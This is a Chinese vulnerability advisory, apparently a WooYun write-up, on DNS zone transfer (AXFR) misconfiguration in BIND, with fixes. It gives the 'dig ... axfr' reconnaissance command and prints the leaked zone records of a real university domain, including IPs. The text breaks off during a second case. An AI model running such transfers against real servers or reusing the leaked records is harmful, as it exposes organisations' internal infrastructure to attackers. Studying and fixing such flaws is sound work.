0x00 相关背景介绍
Dns是整个互联网公司业务的基础,目前越来越多的互联网公司开始自己搭建DNS服务器做解析服务,同时由于DNS服务是基础性服务非常重要,因此很多公司会对DNS服务器进行主备配置而DNS主备之间的数据同步就会用到dns域传送,但如果配置不当,就会导致任何匿名用户都可以获取DNS服务器某一域的所有记录,将整个企业的基础业务以及网络架构对外暴露从而造成严重的信息泄露,甚至导致企业网络被渗透。
0x01 成因
DNS服务器的主备数据同步,使用的是域传送功能。 域传送关键配置项为:
allow-transfer {ipaddress;}; 通过ip限制可进行域传送的服务器
allow-transfer { key transfer; }; 通过key限制可进行域传送的服务器
设置方式为两种:一种设置在options配置域;一种设置在zone配置域。优先级为如果zone没有进行配置,则遵守options的设置。如果zone进行了配置,则遵守zone的设置。
options配置如下:
options {
listen-on { 1.1.1.1; };
listen-on-v6 { any; };
directory "/bind";
pid-file "/bind/run/pid";
dump-file "/bind/data/named_dump.db";
statistics-file "/bind/data/named.stats";
allow-transfer { any; };
allow-query {any;};
};
zone配置如下:
zone "wooyun.org" {
type master;
file "/bind/etc/wooyun.org.conf";
allow-transfer {any;};
};
笔者测试版本为BIND 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6_3.6,默认安装完毕后,配置项没有allow-transfer 项。如果直接使用默认配置文件进行配置的话(不手动添加allow-transfer项),就会存在dns 域传送漏洞。
0x02 攻击方式及危害
恶意用户可以通过dns域传送获取被攻击域下所有的子域名。会导致一些非公开域名(测试域名、内部域名)泄露。而泄露的类似内部域名,其安全性相对较低,更容易遭受攻击者的攻击,比较典型的譬如内部的测试机往往就会缺乏必要的安全设置。
攻击者进行测试的成本很低,如dns服务器IP:1.1.1.1 测试域名为wooyun.org,测试命令如下:
# dig @1.1.1.1 wooyun.org axfr #就可以看到返回结果类似如下:
; <<>> DiG 9.7.3 <<>> @1.1.1.1 wooyun.org axfr
; (1 server found)
;; global options: +cmd
wooyun.org. 86400 IN SOA wooyun.org. rname.invalid. 0 86400 3600 604800 10800
wooyun.org. 86400 IN NS wooyun.org.
wooyun.org. 86400 IN A 127.0.0.1
wooyun.org. 86400 IN AAAA ::1
test.wooyun.org. 86400 IN A 1.1.1.1
xxx.wooyun.org. 86400 IN A 2.2.2.2
wooyun.org. 86400 IN SOA wooyun.org. rname.invalid. 0 86400 3600 604800 10800
0x03 实际案例
0x04 修复方案
解决域传送问题非常简单,只需要在相应的zone、options中添加allow-transfer限制可以进行同步的服务器就可以了,可以有两种方式:限制IP、使用key认证。
举个实例
漏洞详情
披露状态:
2015-05-25:
细节已通知厂商并且等待厂商处理中
2015-05-30:
厂商已经主动忽略漏洞,细节向公众公开
简要描述:
DNS配置不当,造成一些非公开域名泄露
详细说明:
0x00.恶意用户可以通过dns域传送获取被攻击域下所有的子域名。会导致一些非公开域名(测试域名、内部域名)泄露。而泄露的类似内部域名,其安全性相对较低,更容易遭受攻击者的攻击,比较典型的譬如内部的测试机往往就会缺乏必要的安全设置.
该配置不当的DNS Server为:dns2.etone.edu.cn
漏洞证明:
code 区域
shop.edu.cn. IN AXFR
;ANSWER
shop.edu.cn. 86400 IN SOA shop.edu.cn. qikw.cernet.com. 2015052201 86400 3600 604800 10800
shop.edu.cn. 86400 IN MX 10 mail.shop.edu.cn.
shop.edu.cn. 86400 IN NS dns1.etone.edu.cn.
shop.edu.cn. 86400 IN NS dns2.etone.edu.cn.
shop.edu.cn. 86400 IN TXT "v=spf1 ip4:59.64.112.160 59.64.112.161 -all"
shop.edu.cn. 86400 IN A 117.79.83.205
852214867.shop.edu.cn. 86400 IN CNAME domains.live.com.
default._domainkesy.shop.edu.cn. 86400 IN TXT "v=DKIM1; g=*; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQC82/U8cXL5DKtFf9XTBSJTWUWnpGjzBf5da5TTdhL11OEhU6MorlH0iCgd8P6M9X8i4wQFk1nDvrsKdEdGWxLW4BaGko5b7eIDzI9lfeqWV2zrfJ6DB4zcca4AVgZBLhB757kq475508LWD1zIqRAQSVC4cJgMTywIDAQAB"
abc.shop.edu.cn. 86400 IN MX 10 1882003221.pamx1.hotmail.com.
all.shop.edu.cn. 86400 IN A 117.79.83.206
api.shop.edu.cn. 86400 IN A 117.79.83.205
api2.shop.edu.cn. 86400 IN A 117.79.83.205
修复方案:
使用IP或者Key设置allow-transfer 的ACL
实例二
漏洞详情
披露状态:
2015-05-21: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
gzhtcm.edu.cn DNS服务器配置不当,导致信息泄露。
详细说明: